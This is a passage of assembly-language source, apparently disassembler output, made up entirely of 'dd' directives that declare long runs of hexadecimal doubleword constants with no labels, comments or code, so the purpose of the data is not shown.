		dd 55580766h, 0C0F4B33Eh, 0FC605D72h, 0E5BE6900h, 9751B44Ah
		dd 89620004h, 0A3F027Ah, 730020A2h, 96B87048h, 1F8D574Eh
		dd 4F45BEh, 0A82C76B3h,	3E02619Bh, 5339142Dh, 0EE9580C3h
		dd 0ED29650h, 6A7EC0CDh, 2A477000h, 0EB00E162h,	0A1A05EE0h
		dd 0C89913h, 0B24553C1h, 0CF9330E7h, 0A007EECh,	6DD8BC19h
		dd 0EBB460h, 0D39FF980h, 0A5E84EDCh, 0C3F05400h, 0BD5DD2F7h
		dd 840A0090h, 0BFFF4826h, 0C200E61Fh, 0D653D56Dh, 0A8F1F3h
		dd 0BBAF525Bh, 0FA2C10B9h, 2A0E050Fh, 814A4006h, 6621BEFh
		dd 0A45FB536h, 7D01E0BDh, 8B217AAh, 0A3E03A8Ah,	79EA017Bh
		dd 41F2C07Fh, 3298F760h, 92005109h, 0EDD6379Dh,	26ECCF23h
		dd 0CCBE07h, 0CA1F5E4Ch, 0E6E260C5h, 82017F00h,	0F5E5B5D8h
		dd 6F3600EAh, 595055B3h, 0B900748Ch, 0B7DABB0Bh, 188825h
		dd 786027Ch, 0A145E272h, 340B3698h, 82BB783Ah, 0C09FB6FDh
		dd 5717F88h, 0FAD13B75h, 0C5080D2h, 0A4FA3D9Bh,	30D420C7h
		dd 4080BA84h, 0AE8BEBh,	5A82BF2Dh, 0BD1CC753h, 0FAB96400h
		dd 0C2D9EA4Ah, 0A4840B48h, 3A8046F8h, 0FF10A780h, 0D832C07h
		dd 0DDA0A639h, 57EE9Ah,	0DE41110Eh, 1B0AE0ACh, 1D12B03h
		dd 90FE7743h, 58FA73h, 42786762h, 56AE0C89h, 46597F00h
		dd 0C82E1F45h, 0A7050E6Dh, 77E385D6h, 0BEC8A8DBh, 8003BFBh
		dd 0EA9086BFh, 7BF15DFAh, 0C51B893h, 0F68910DAh, 5A03AE11h
		dd 737D11E5h, 133073BEh, 31BDBCDh, 473D8DFAh, 897B2A0h
		dd 0B904762Eh, 0F749B600h, 3EB3F157h, 0FB018789h, 1E0EF890h
		dd 7450C039h, 4613701Dh, 2D6DA540h, 74BE995Ch, 29B900B2h
		dd 0CE2D6B5h, 20DF4245h, 0DAF87B40h, 0EA69FBB3h, 2A393D58h
		dd 0BFDB7280h, 3CFAA8D6h, 3DD9FFE7h, 0B1A88183h, 90EA6CCEh
		dd 0D0403FE1h, 33AA97h,	0F348A7EBh, 3925ABE9h, 3200677Dh
		dd 0E5A27430h, 6078D4h,	5FC770A7h, 0DBF31CF4h, 7DD9FF00h
		dd 737A05BAh, 0B09700D3h, 19ED8CA0h, 8A07C523h,	0E1EB7157h
		dd 0C9599270h, 0F14516DAh, 0D500FFB0h, 0A9DC7230h, 8F9F0279h
		dd 8C80711Ah, 49933660h, 12575E00h, 43FDA0ACh, 25323A65h
		dd 0A3389D80h, 333DE41Ah, 0C2B64600h, 7F918BC8h, 7EE034h
		dd 0AC3EC304h, 9E2C95D2h, 728A7D00h, 53893730h,	0D8410052h
		dd 583DB754h, 0AD01888Bh, 12D14E1Fh, 0FB202F95h, 8F3E28B6h
		dd 0D86C0298h, 93621F3Fh, 3BFDA0A0h, 700CF27Fh,	0FECFC77Dh
		dd 3646006Dh, 34A0D5BFh, 78017B89h, 713AF690h, 0DFECA163h
		dd 32CE281h, 5867829Ah,	72F87719h, 0E43EE5C7h, 0CE1E80C1h
		dd 4F637DF1h, 387749h, 0E71182F6h, 9939EF1Ah, 9514C91Ch
		dd 65922C00h, 6147D6h, 0C6949770h, 165FCC63h, 7925BAF6h
		dd 0E3D3E3F7h, 8FE9E873h, 2C9A2460h, 0C92806Ch,	165BDFFAh
		dd 0BCE86818h, 4849E718h, 0E06E105h, 0F09CA1A6h, 41382D00h
		dd 241C021Eh, 968A6029h, 378C7657h, 0F973BA0Ah,	1A842C6Dh
		dd 1C0E5F42h, 0D184BE48h, 1D020D65h, 992082F4h,	101E2944h
		dd 8089D524h, 74670A1Ch, 7EB943F9h, 1045A020h, 84BCF850h
		dd 0F9020E28h, 0E1216DA7h, 0B0880804h, 0D4459291h, 0A5F98842h
		dd 5A2C829Bh, 8484A289h, 6D588764h, 0B514D04Fh,	44762C5Ah
		dd 9042DDF2h, 0B605B408h, 0E8B1711Bh, 0A862F75Ch, 9A5680h
		dd 0A4CE19C1h, 0D0C08C1Eh, 0BE8D3939h, 0F5DB0081h, 0BF66165Ah
		dd 4F932887h, 0D2D60194h, 99FF629Ch, 19808057h,	9648BC04h
		dd 0C52802BBh, 0DE931373h, 5833440h, 6301D771h,	7027F22Eh
		dd 0D020AD0Bh, 196A58D2h, 771DA840h, 0C6FB1CA1h, 8F5E805Fh
		dd 9E654DF6h, 85076C92h, 0C4FC16EDh, 0CD310F60h, 0E98A30E0h
		dd 0B51B0760h, 0A4154700h, 7FE4DB4Eh, 8E43181Eh, 933E2039h
		dd 2ACFBB00h, 0AF7D2772h, 0FF57FD0h, 82C34E5Bh,	2CCAD5A0h
		dd 0A465EA07h, 0FC0D3D0h, 0ED9C85Eh, 15849EDBh,	87C38C60h
		dd 1E1CEB48h, 0FF002066h, 6FAF96BAh, 1C441FB9h,	81F9C0DCh
		dd 3612A52h, 12841E00h,	489E322h, 15F756Fh, 580A1F6Ah
		dd 70671773h, 97078FA8h, 5FE468CDh, 3E7635C7h, 0E49954E0h
		dd 0ACFA07h, 289546BFh,	5171D04Ch, 0D78B11C0h, 0E0B5323h
		dd 76079ACAh, 0D3018140h, 5F00DBB1h, 836D80BAh,	46A9B5h
		dd 9EB21EADh, 0F594224Ah, 80B3C73Bh, 5DE0037Eh,	105E82Eh
		dd 934ADFBFh, 0C8AFC6EEh, 43E8DCD0h, 67745200h,	0D9E540Fh
		dd 78650086h, 61EFB826h, 6A0F7B60h, 28D6B2h, 55A23B04h
		dd 9F0A00F9h, 690C4C4Fh, 66622054h, 7DBA628h, 0DD0700FAh
		dd 0D158EC1Fh, 544C009Fh, 49E5AF73h, 0E8400E6h,	45B0078Dh
		dd 0C53AC9D4h, 5E870015h, 0D73FEB76h, 96170091h, 1A6E7B64h
		dd 0B9002A80h, 0F654408Dh, 9D7686h, 0A821FC0Ch,	48AD9A33h
		dd 421D2F75h, 4F45CC4Ch, 2EC00E65h, 5EBE45h, 3B6C8656h
		dd 46A8DF5Bh, 0B7950100h, 0BEE023BAh, 52F40021h, 0EC4B2938h
		dd 477724B5h, 6F0D4E00h, 0B3D58B06h, 5B41006Dh,	4543D332h
		dd 7D075908h, 19138D17h, 0E4970760h, 967001B0h,	3E8101AAh
		dd 52572098h, 0D9D6EE00h, 0BAA06DE5h, 266007Dh,	444948C9h
		dd 6B0F3803h, 0E00E5D0Dh, 36E9176Dh, 0CB8008Ah,	0D2EFAED5h
		dd 0AA00FC25h, 0CFD15137h, 741495h, 0DCC9469h, 0AA7A898h
		dd 0EA81BB00h, 0F7C41627h, 2B2900BDh, 0B4631E14h, 0F01E3E4Ah
		dd 62808584h, 0A9ABEDACh, 0FC32508Ah, 0A1F40027h, 8066D6D0h
		dd 6C05B72Dh, 10EFEB8h,	88B080Ch, 8DE300BAh, 4E28352Fh
		dd 4A009112h, 0EC79BD5Bh, 3B7AEA17h, 6B3E301Ah,	0CA35C980h
		dd 2B064628h, 56F86300h, 7407F5C0h, 480CE45Ah, 52075FE6h
		dd 0C4105894h, 0F080AB2Dh, 156160Ah, 7F31AEDDh,	0C08AE5DEh
		dd 3E01D976h, 8F5393F5h, 94CC5C64h, 30050022h, 0BA12979h
		dd 57003C56h, 40880746h, 5A1AD0h, 0C0AEF1FEh, 7BC80127h
		dd 7FED7000h, 49ADA95Ch, 0E0180098h, 201B3E12h,	0EE00729Fh
		dd 75D8D60Ah, 6EF827h, 4EDDEAFFh, 0B968509Bh, 3483AA0Ch
		dd 7C04110Ch, 99DE0098h, 86CC5719h, 7703ABC5h, 7A6482C2h
		dd 0B7F80756h, 303480FAh, 0CDF758FCh, 0DBD31400h, 0E8715072h
		dd 70F48Ah, 0BB6455ECh,	28433157h, 0BD00E3E0h, 9B967614h
		dd 34C85h, 7710876Ah, 0AEE071D2h, 0EA6B932Eh, 0B7A00Eh
		dd 0FD58DE11h, 0EA0A001Bh, 0FC54E3C9h, 874C8AACh, 0E444004Fh
		dd 0C029E667h, 1A701F34h, 339F001Ch, 40CBDADEh,	1FE3B607h
		dd 0AF59980Ch, 4A2F600Ch, 99E4A0h, 1B207C81h, 33F8B4C1h
		dd 3C6E10Fh, 560052CCh,	5A8C0E3Dh, 127EB8h, 0F860C2C3h
		dd 16F6456Dh, 312F4600h, 0FD26FA54h, 0B49C006Ah, 0D6150EC9h
		dd 35002B64h, 39AE44F2h
		dd 0C0DBA4h, 96F7E326h,	8B049273h, 3067EBF0h, 78A7AE11h
		dd 27F14110h, 0DDAF0C34h, 68AAF5C7h, 9C5C3B07h,	6900A6E9h
		dd 55FCCAh, 2225828Eh, 299FB165h, 7E708C27h, 0A7560045h
		dd 6883A4E1h, 0ED24791Dh, 739B1240h, 0CF2E47h, 5B7B7177h
		dd 22A7B57Ch, 0C6A8400h, 0FDE4911h, 0CA5F005Ah,	6D410EADh
		dd 0B500FC26h, 7CDD5406h, 0CD8F39h, 0C54FFB96h,	4C37528Dh
		dd 7DA24A00h, 68B27333h, 0C083005Dh, 34B3D71Fh,	92017E88h
		dd 69DD0BE9h, 73300C66h, 0E8780094h, 1C2F3DF1h,	0D00B2FAh
		dd 7D4A5C52h, 7A8D6A3h,	0E08FC7B5h, 621DD0EAh, 5D01305Bh
		dd 0F6FEBDA6h, 46E8ABF1h, 4B9701E5h, 2DEAF42Ah,	8A9BCC76h
		dd 3ABA1000h, 2F6FFA78h, 92D600F6h, 934879D1h, 81040DA3h
		dd 0EB61767Eh, 0E9CDD781h, 7D08BFh, 0FA436511h,	0C03D46F7h
		dd 69F93B00h, 0D27EC2DDh, 6C9A0019h, 7699AD27h,	0F714C3E8h
		dd 788D363h, 0DC262DAh,	0F08883D3h, 727711A7h, 867E9Fh
		dd 3A2818B5h, 5D449A10h, 370CAA00h, 724C5F1Fh, 47970064h
		dd 83F880DCh, 0A76E782h, 698330Eh, 0F2C2C0F4h, 0E3DB854h
		dd 23BF0EAEh, 0D56B61A0h, 3400FFD6h, 984B9E39h,	0B365B22h
		dd 3C25936Ah, 88CD6200h, 2E00028Ch, 54BDEFB6h, 17649Dh
		dd 0F5AF58F1h, 4F23C428h, 4AAB7B07h, 0B0E0E68Bh, 1226EB4Dh
		dd 0EC58B7h, 513B86BEh,	7F03149Ah, 0EF2F086Ah, 91B38881h
		dd 0C41A4C02h, 5E4F2875h, 1DEF2DEh, 0CAA5F2E1h,	7008343Eh
		dd 5A00B65Bh, 0F6A0ECDCh, 9856D557h, 77D70EA6h,	4B605D21h
		dd 181B0452h, 0B53B371Ch, 28A863CCh, 750C1E62h,	0E744C0E6h
		dd 0A0B44AD6h, 5D1F24F8h, 5501AAB2h, 0DAB81CEDh, 3D9960h
		dd 0DDDE6616h, 45774498h, 497A26F8h, 0A37A5800h, 0A12F2C81h
		dd 319600DCh, 0B49A6414h, 410E13D0h, 7432E8h, 44A7379Eh
		dd 0F6B500A3h, 7AD1550Ah, 0B6002C43h, 8DC7F13Ch, 0FF7C50h
		dd 0E3B0CBAFh, 0F38E4018h, 5CB18900h, 81C14264h, 7E39860h
		dd 8A0D121Fh, 0BAC03F2Fh, 8D6C1737h, 2C00FCE2h,	69A98E13h
		dd 0B0858Fh, 57AEDF1Eh,	0F84245A7h, 1D075E01h, 21F4E39Fh
		dd 7C1915C4h, 2010014Fh, 0EA028D8Ch, 0D1B0C1D6h, 16D6405Ah
		dd 0F0047CB6h, 0ACB831E0h, 330E486h, 60F78CC1h,	0BC00D9Fh
		dd 2FF03545h, 3F648D03h, 0C0C18328h, 78904CB4h,	9DF800A4h
		dd 53FE0331h, 0A3FEBE8Ah, 46720600h, 0B96CEB0Bh, 9CAA50C8h
		dd 0ACB5078Eh, 50AE24D5h, 3158119Ch, 2DCCCD15h,	0CF1706ACh
		dd 0E1A44C1h, 53E6F45h,	3D847840h, 0BD0012DEh, 1F8E94Ah
		dd 3C2A1962h, 968761BAh, 30565FC3h, 0D31E43Ah, 8FB05E00h
		dd 0E748255Dh, 71A51E24h, 0A095006Fh, 0D38A7383h, 0C8C34700h
		dd 0AACD354Dh, 757FA6h,	8785ADBFh, 897822DAh, 0C685203h
		dd 8AFBDBh, 0B5B68420h,	0F1D37D1h, 0D0009471h, 5C3387F8h
		dd 3884F8Eh, 0DF97269Eh, 178955A7h, 0C081EC28h,	99362202h
		dd 27232993h, 3C3B30CAh, 0ABE6DA8Dh, 0F5210A00h, 9DECEFF6h
		dd 43DC0027h, 0C340202Fh, 0BA0329AFh, 685C3E8Ch, 7E400042h
		dd 0ED975ACEh, 0C70116C3h, 8C705579h, 0B3EF7A6Ch, 756938EAh
		dd 0BC000F3h, 315C342Bh, 1F0F129Dh, 40CD2A08h, 258F6DC1h
		dd 2788A9F3h, 0B5025F18h, 992DE6Eh, 0A7E610DBh,	87A6D883h
		dd 61ECD6h, 9EFA1632h, 0B661EEAh, 9865B00h, 0E9674FB5h
		dd 27D400CEh, 0FA253CBCh, 0F3EA952Ch, 51140103h, 8FC15C60h
		dd 0B8E7D1D0h, 0C7500139h, 0D83C73ADh, 4D6070CFh, 46079900h
		dd 0DAF798B6h, 82B3006Dh, 17E81F7Ah, 0A4004E90h, 54509AFFh
		dd 14C067h, 5FAA7C31h, 444F1EAh, 0D70E5A00h, 0F59B84C4h
		dd 63550730h, 807A71DFh, 0A13AC99Eh, 80DAF800h,	0B8D83ECh
		dd 0BA4B00DEh, 0E1072E45h, 0A900F575h, 7C5DADE6h, 90395A2h
		dd 0E352AB6Bh, 0FA791800h, 1F0018A6h, 3A8FBF77h, 0FD0160h
		dd 5774292Ah, 0D751C3E4h, 8812AD2Eh, 0FE137124h, 10707000h
		dd 3545566h, 7B8CC06Ah,	5CA09EDEh, 0A618DD76h, 9679ABEFh
		dd 0DBCF0AD6h, 0BDCE10h, 2D8E5773h, 28009F6Bh, 0EBFECBF5h
		dd 34E765Dh, 9542AF5Fh,	0A3B00E4Ch, 0D905A269h,	94D7C756h
		dd 0CC650C00h, 0F85B04C8h, 0BEA93E2Bh, 0ACBF9B03h, 10B88051h
		dd 1200C1DAh, 7398170Fh, 0DC6F66h, 4790012Ch, 5568EFF5h
		dd 0FDC86A61h, 94D807BEh, 0E4EC3018h, 3739FF88h, 0F97A9018h
		dd 23A6310h, 0DAE0B00Ah, 0E5E036D5h, 0B7F1172h,	5EF48E1Ch
		dd 0FB098Fh, 0C59DFC5Ah, 0CED300ADh, 0DB2B5F56h, 0F2010334h
		dd 92301372h, 36D0E8AAh, 0D3271F6Bh, 0E05F80DEh, 7110A1CBh
		dd 1E616401h, 262A5E1Dh, 98A233E0h, 1660004Ch, 47B45501h
		dd 4503C84Eh, 0DED6CDFBh, 0E1C3D032h, 0B3712Eh,	1885A364h
		dd 0CEA72246h, 0FFD73F00h, 0A458C5B2h, 1864FEA8h, 58342183h
		dd 5DB8477Ah, 8DEBAA06h, 0F670D932h, 45D79E6h, 0F60576DFh
		dd 29FAC05Fh, 9307FC41h, 0DD73F78Fh, 5C989750h,	5A5F2E02h
		dd 6BA4012Ch, 70657140h, 1C007A2Dh, 0C34C15E5h,	3B4E686h
		dd 4631FAEEh, 91AFBC1Eh, 435B18C8h, 688E2280h, 6B8A5A1Eh
		dd 1D0563C0h, 0BC42A3h,	0FA547471h, 565E192Eh, 9D59DF00h
		dd 93A0A2E9h, 0CDF614FBh, 4004ED85h, 8389C1F4h,	2EE05EE1h
		dd 111EFCE2h, 94812321h, 4A4561E8h, 0E380F0F3h,	97EC0076h
		dd 0DBF3D8A4h, 3F006C04h, 0F84142Bh, 5771C3h, 41EDD677h
		dd 9095583Eh, 0FF689800h, 3FFA1FB5h, 475D0716h,	0EC189F8h
		dd 0DE33F580h, 2186C01h, 1150388Eh, 0A78C00E5h,	0E49CF83Ch
		dd 51006D82h, 16A1345Ch, 0C03A62D1h, 0EED03D28h, 393CCE11h
		dd 0F1AC00E6h, 685E5D05h, 701D608Ch, 0C3608BF6h, 0EA7D1E09h
		dd 0EC918FAAh, 0B2D183Ch, 77076595h, 197C0CF5h,	0E93700F3h
		dd 0A887F22Bh, 5660F1E6h, 46FEA060h, 0B47C00EEh, 37D3F691h
		dd 0A3BB01Ch, 383C0158h, 6DD1316h, 82FAD4h, 1BA623B5h
		dd 0EC7F077Dh, 8F08EF02h, 0E0A84BD0h, 904D22h, 9C5B64A7h
		dd 7FBCEC99h, 93A6B507h, 0C380926Fh, 0F8205191h, 6183003Fh
		dd 42B4E05Bh, 0CD00B108h, 37E6A1Dh, 0E4C8D9Fh, 432A27D9h
		dd 940569C0h, 0E70564CEh, 0B928A541h, 3EE42039h, 8C4275h
		dd 0C898C30Bh, 1FDDEA7Ah, 981FD590h, 39D230EEh,	3C8DD903h
		dd 0B0786E16h, 0CA5775h, 2B14221Dh, 44C8E17h, 3790C206h
		dd 0C8F180h, 71210C77h,	0E80964BAh, 220053F0h, 0D8B1C5AEh
		dd 4F18BEE9h, 0A2EDA08Ah, 0A466D400h, 1FCDB008h, 4B0A0335h
		dd 72718417h, 0B587CFD0h, 0B34028DCh, 0E9134D95h, 81A12A0Ah
		dd 0E65678A4h, 0BE6F008Ch, 0E3856A17h, 880C90DCh, 583466B6h
		dd 6E9201B1h, 0E52099E1h, 807871CCh, 0B2B17B8h,	29632AEh
		dd 30CF4834h, 80B01CF9h, 1011740Ah, 0F8B0E83Fh,	76336954h
		dd 0D0A4F05Eh, 77C03407h, 23282880h, 0B96F00ACh, 0CB5FCD97h
		dd 9A003C32h, 78AE54B3h, 53F1BAh, 5B6008A8h, 747A7DE9h
		dd 64BDEF17h, 95669507h, 0CA772420h, 80DD50ACh,	0BD5420B5h
		dd 0B4C1FD07h, 20BA48C2h, 4353DD58h, 59305068h,	3E00E4F8h
		dd 0E8709A04h, 28D230CBh, 7FA4CE80h, 72E218h, 0ADC68E50h
		dd 14ED9507h, 471A1615h, 3C400C8h, 0BFAC8A64h, 5CF40284h
		dd 78219689h, 12FC48C0h, 0D4304Ch, 0BC4CB59Fh, 0F4EEDh
		dd 0C03AD72Ch, 0BFA68FAAh, 8B5CD500h, 0A23F585Fh, 7A0700BAh
		dd 0BB49AD3Eh, 0C403647Fh
		dd 235AE8DFh, 0A05DF9C1h, 8171F7h, 6663DD30h, 0D81A0D12h
		dd 0C80DB54h, 987BD016h, 0AF85D40Fh, 2C8860FCh,	4061E71h
		dd 0CCB4A801h, 3E4090FAh, 0B70775D3h, 0B3A51693h, 0AADBE6B0h
		dd 0D4950F70h, 60C08863h, 5B091812h, 6A5D9300h,	3C1F1496h
		dd 95FC1C53h, 70F98A3Ah, 0AEE1009Ch, 0BFFD864Bh, 13FA4E03h
		dd 0A09CABBAh, 0B818A934h, 65F33057h, 0DA405A8h, 7A4E5C00h
		dd 929AA398h, 0D97271h,	34D354CCh, 0EA1248FEh, 31747500h
		dd 234C5E6Fh, 82AB0F64h, 6860BE3Fh, 0CB9BD765h,	859CDE00h
		dd 0F9AD23AAh, 0D8C20F18h, 71A1EB1Ch, 0CB709042h, 6F8130D8h
		dd 160C9A00h, 9496198Bh, 0B7630045h, 9EBA8ED2h,	8C000426h
		dd 64F96C4Dh, 78034ADBh, 83230212h, 0F5B7703Fh,	4255C077h
		dd 3A0700FFh, 3339326Ah, 61D832Ah, 0CB00B569h, 0EB4E24B7h
		dd 987D0082h, 2E7CEAE1h, 5200C572h, 2A543665h, 0EBD508h
		dd 87D9B230h, 0C363C6A0h, 8455FF01h, 72B92DA8h,	0E395B60h
		dd 0A72450A3h, 60ADC0DCh, 12D0163Eh, 0B0EAD3F4h, 65E338h
		dd 0F2C5BBC6h, 5B53671h, 46382D53h, 338C2067h, 40C1DC82h
		dd 0FB56BF52h, 73171ECh, 0BE279F7Ch, 48051049h,	0FD2A2EC4h
		dd 3700B808h, 4717FBC7h, 4BCA6Ah, 0E352DB53h, 2534CB86h
		dd 5E116D18h, 6A6060h, 0FDE006C7h, 0D59D5045h, 33A91600h
		dd 34932997h, 4070F9CDh, 4101951Ch, 0E4013879h,	2F009C06h
		dd 0F3CCF49Eh, 760DC6h,	0AA882CCDh, 29A98BB4h, 0AF850600h
		dd 26FDFB1Ch, 0BFEC00ABh, 46B4D405h, 4937C7E0h,	1580EA85h
		dd 0BBCF0Ch, 4724FF31h,	0B58B58DBh, 2B73F003h, 0F8A0AA8Eh
		dd 1054145h, 0C066315Bh, 805774EEh, 0BA2E9B11h,	3A5A848h
		dd 0FD10DE55h, 70900724h, 0EF1554D4h, 720D81Eh,	218F0C13h
		dd 1845A775h, 1436EC27h, 60A22358h, 80DBC78Eh, 8E4F14ACh
		dd 0AEBEE8ABh, 52E5FC30h, 0E71C1CAAh, 340F3DE4h, 4CD57056h
		dd 21DA70D8h, 7E87038Eh, 6D14AA35h, 0C5383842h,	68373B3Fh
		dd 0BBA24261h, 8395E81Dh, 47748Ch, 99F4ABF3h, 0C3E3B85Eh
		dd 0FF889CADh, 9A67E320h, 0BEF4D815h, 385B268h,	30150C07h
		dd 0C230F574h, 90ACA05Fh, 43812718h, 5FEC8037h,	0A883C0B0h
		dd 577385CCh, 540444D4h, 7030F63Dh, 16B3E7h, 322194AAh
		dd 34F654ACh, 1D1B0A0h,	7031B4A7h, 244D28C0h, 488EF931h
		dd 0AD252F4h, 6D44168h,	11035394h, 90C4C48Eh, 0A770330Eh
		dd 0C901AE2h, 808AB730h, 7FAC2DB5h, 1498DDD4h, 630FD0E5h
		dd 50746D44h, 1C21E0B1h, 0A734F647h, 468832A0h,	42671914h
		dd 8D9EB86Eh, 40DD74D0h, 0CB71C9C8h, 0CD0F7AE8h, 0A9C8A4Ah
		dd 98983EB4h, 73F428BFh, 8C055492h, 0E6A3B85Fh,	5822A47Ch
		dd 0EA13DBA2h, 7210033Fh, 47AAABF4h, 0DC948082h, 0C6155407h
		dd 3EE68808h, 3608B32h,	0A629F89Ch, 10BC3027h, 0E16A40EFh
		dd 96E037E0h, 6AF8B071h, 0B0ECCC91h, 0ACCE2388h, 8E0DC70Ch
		dd 0ED330534h, 73E794ABh, 0EBD13E44h, 2E70CA9h,	0F58B561Dh
		dd 7067AB5Dh, 0F6027037h, 298730ADh, 91D1D097h,	93F55088h
		dd 1A956200h, 36072250h, 0C06891BCh, 0F99EFA65h, 22575A00h
		dd 0A8927027h, 14ACF5h,	0F48FC0A4h, 0C7224D98h,	600442BDh
		dd 4CA9FE7Bh, 8AA09C35h, 0F703F0C8h, 0E722521Fh, 50F0DE1Ah
		dd 0AC34B7F6h, 434C0F18h, 950C328h, 1C138387h, 0FC0C1E70h
		dd 88B2D946h, 0AB21F0A7h, 8E60B091h, 0C1B1E9FCh, 209C4729h
		dd 0D73C5CABh, 0C6797C15h, 0F4670A80h, 0AD09E4D4h, 0E0041C91h
		dd 0C0FAE286h, 0E6EE07A9h, 9260234Eh, 3B42636Ah, 1C75058Bh
		dd 6015A9C7h, 0FC10DC60h, 7452E22Ch, 0E1492700h, 661AE34Eh
		dd 381D404Bh, 49403535h, 0EC65D828h, 258EE9Fh, 5DC72326h
		dd 34B88B85h, 6A10B27Fh, 0E70930ECh, 0E887A7BBh, 70AC4ABFh
		dd 51E8602Bh, 3C0F454h,	1459C248h, 14B06A1Dh, 0E0F4F50Fh
		dd 61B29423h, 4EA7392Fh, 97B89217h, 4FF40C3Dh, 0CAA42CF3h
		dd 636089F4h, 5D1E9C1Ch, 59714833h, 104CC167h, 4C4308DDh
		dd 70624DFh, 3A481FB0h,	0DC52ECCAh, 4A3FAAC0h, 890A86Ah
		dd 78A0272Ch, 69581426h, 6FD61896h, 39C75825h, 95A9C015h
		dd 86D58050h, 0DF836D98h, 6AFFC850h, 10367770h,	18BAB091h
		dd 34A89C87h, 0C9948023h, 707408C2h, 0C66F0018h, 7B1575A9h
		dd 0CE3CA890h, 0EB7782FAh, 30A702A2h, 1C64B401h, 2CCDF8B8h
		dd 1C038D1Dh, 10E824D5h, 0BF8DA015h, 82D720B9h,	1F1D4712h
		dd 7397A438h, 0E9E462F3h, 0E0402A67h, 60D1D854h, 0AEF4C050h
		dd 80A65002h, 70904C07h, 0E44B432Eh, 9049D978h,	2731C0BEh
		dd 431A2BACh, 23A0A062h, 0B45C6035h, 1F99789Ah,	1F8F2AA3h
		dd 1A25C143h, 30B72463h, 48B0CA28h, 77816CA5h, 1F7BE69Ch
		dd 8373C700h, 1863B900h, 69D4D5D2h, 5818B80Bh, 540C386Ch
		dd 0CC701ACFh, 57E9FFE1h, 44CC412Ah, 29608AC4h,	1D0CDC24h
		dd 638080F3h, 2704984Dh, 0E658C3C1h, 28014CC1h,	86AE1884h
		dd 0D88C10h, 0FEE154D5h, 9B89F4ACh, 47B6A4A1h, 2915D3F4h
		dd 98925828h, 0F609899h, 0A8DB9B08h, 50D3E794h,	626D8415h
		dd 5C140885h, 64496CC1h, 88A38E94h, 9481BBA2h, 84284D23h
		dd 8C272E60h, 0E00CC8Bh, 97B7C1B3h, 6C019BAEh, 2893C518h
		dd 0C8D10A4Fh, 2368CCh,	24320DBFh, 94D6353Fh, 2610807h
		dd 0D7302895h, 3A6BFF23h, 3702251Dh, 0E01F4D56h, 0AAA0F443h
		dd 1E00221Ch, 0AE51FDAFh, 3D4E632h, 3AA930DAh, 78007645h
		dd 93C65E4Ch, 105F2588h, 0C140832h, 88112B7Fh, 31BE0282h
		dd 0C70C84E8h, 34438A82h, 467128A0h, 3C03E174h,	0E4AC9C2Dh
		dd 3A481D68h, 0F9C80C69h, 0DD30E810h, 784FB05Dh, 8088005Eh
		dd 0B1C9BD58h, 491EBEF3h, 0E907ACA0h, 0A9C14E7Dh, 89E09D91h
		dd 0D4D20315h, 0D5E7C749h, 0E38639A1h, 18031CE3h, 0E2B1BA69h
		dd 0A71FDB92h, 0C1426EA3h, 8BC7212h, 20439318h,	3B0B4E7h
		dd 74863Eh, 0E45A63B2h,	0F81D79F2h, 0A29C3132h,	8FA79180h
		dd 3A82F78h, 3C367969h,	0C408F18h, 16C07560h, 0B8B2E3C6h
		dd 72E20798h, 4607317Bh, 5210889Bh, 0DD19AB01h,	0F22A08B0h
		dd 18364A03h, 89C3378h,	92F0967Dh, 0E3830D02h, 8F105952h
		dd 0F88D48Ch, 0AB3689h,	0D3BC8E49h, 76A53A69h, 0BA1F290Ch
		dd 0B67C0710h, 91634901h, 8B05C9D4h, 93A79840h,	1D6919D5h
		dd 87566899h, 38807278h, 38831285h, 2086A1E5h, 644E488Ch
		dd 58C33B70h, 0E053DCC9h, 0C65FBC09h, 80FF818h,	0E01B2531h
		dd 9C411CE5h, 28802713h, 0C9D5EDA7h, 0E30A8A0Fh, 8CB877D2h
		dd 12085F19h, 0F2F085C5h, 0E1020738h, 4F048352h, 0FC10350Dh
		dd 0F8C00D15h, 9D4FEBEh, 7E69C059h, 23F24B01h, 3FF00374h
		dd 68747200h, 1237D010h, 0C1BE0041h, 24A7C878h,	1500BAA4h
		dd 7255678Bh, 56656EBh,	5B29BD0Ah, 41E8097Fh, 54492C01h
		dd 0AA2420D1h, 0EDC09862h, 2CA08A83h, 0E0E5298Ah, 1EB65204h
		dd 0AF152083h, 0F3A1C38Fh, 43D6C7E3h, 38A64920h, 0F0748418h
		dd 0C90CDC3h, 0F238B461h, 8841C7E1h, 72F0CA41h,	80A7639Eh
		dd 981D37BEh, 0A989F270h, 482C02A4h, 268C48EBh,	9C30C9C5h
		dd 0C2323001h, 11088CB1h, 0C3FF7071h, 0B0D8D2A0h, 11F90832h
		dd 0B2F48294h, 87FC8EE9h, 888F7318h, 77920A70h,	19890988h
		dd 0AAB97423h, 0C8DA883Eh, 0C9C12E2Ch, 390C743Eh, 515B32E4h
		dd 5240C38Ah, 81207A0h
		dd 8C04A4CAh, 20822A0Bh, 0BFE44948h, 6044D421h,	129AC04h
		dd 80696892h, 0CE50D2E8h, 43276E3h, 0C289D5E9h,	7E608124h
		dd 0E28837Dh, 0CD4872DFh, 0D55DEC70h, 677D2022h, 2083B612h
		dd 0C8CBC54h, 0C81692E9h, 0C4022AC8h, 8B7D1Ch, 6F019A9Dh
		dd 294E96EBh, 0E82388CAh, 0FDD53205h, 2F8EFC02h, 185C6271h
		dd 4A1C3Ch, 86B4D9D8h, 2AE4F6ECh, 4CC9ECA1h, 0E100F534h
		dd 8579F631h, 0FFC9D6ECh, 50CFE820h, 0CED1D827h, 9C148E09h
		dd 5486A24h, 0A9EF6A9h,	998AEC4h, 708E5C49h, 52764689h
		dd 7444A113h, 0B704B08Bh, 44E3041Eh, 8B84704h, 20FC9F94h
		dd 202D9B20h, 7AF23B90h, 9A32E112h, 67124404h, 229E78D2h
		dd 5E023660h, 0A3DC02AAh, 4785102h, 9894482Bh, 6FC00920h
		dd 0AE6A70C6h, 91E6B90h, 0DF08180Ch, 34807364h,	60F678D2h
		dd 48BA9274h, 2262406h,	0E0C90E74h, 0B51F1090h,	8C702026h
		dd 3808A4A7h, 0A9D59206h, 0EF1054ADh, 24493C20h, 0C94F025h
		dd 15F01ABAh, 48FEC890h, 7AE8EF63h, 0E8A019BEh,	0BED978EDh
		dd 0B9CC7F08h, 4004294Bh, 989A2841h, 209AB320h,	0CC303621h
		dd 0F4F6080Dh, 0D46924BEh, 15C18A3Ch, 0BBC80CE4h, 0CB50E640h
		dd 2D63B994h, 1325F7A8h, 42C6E28h, 81EC3334h, 0D3E8BE90h
		dd 0BFE78CC1h, 70E62CD8h, 8C4DED12h, 0DFE12841h, 0F9C9108Eh
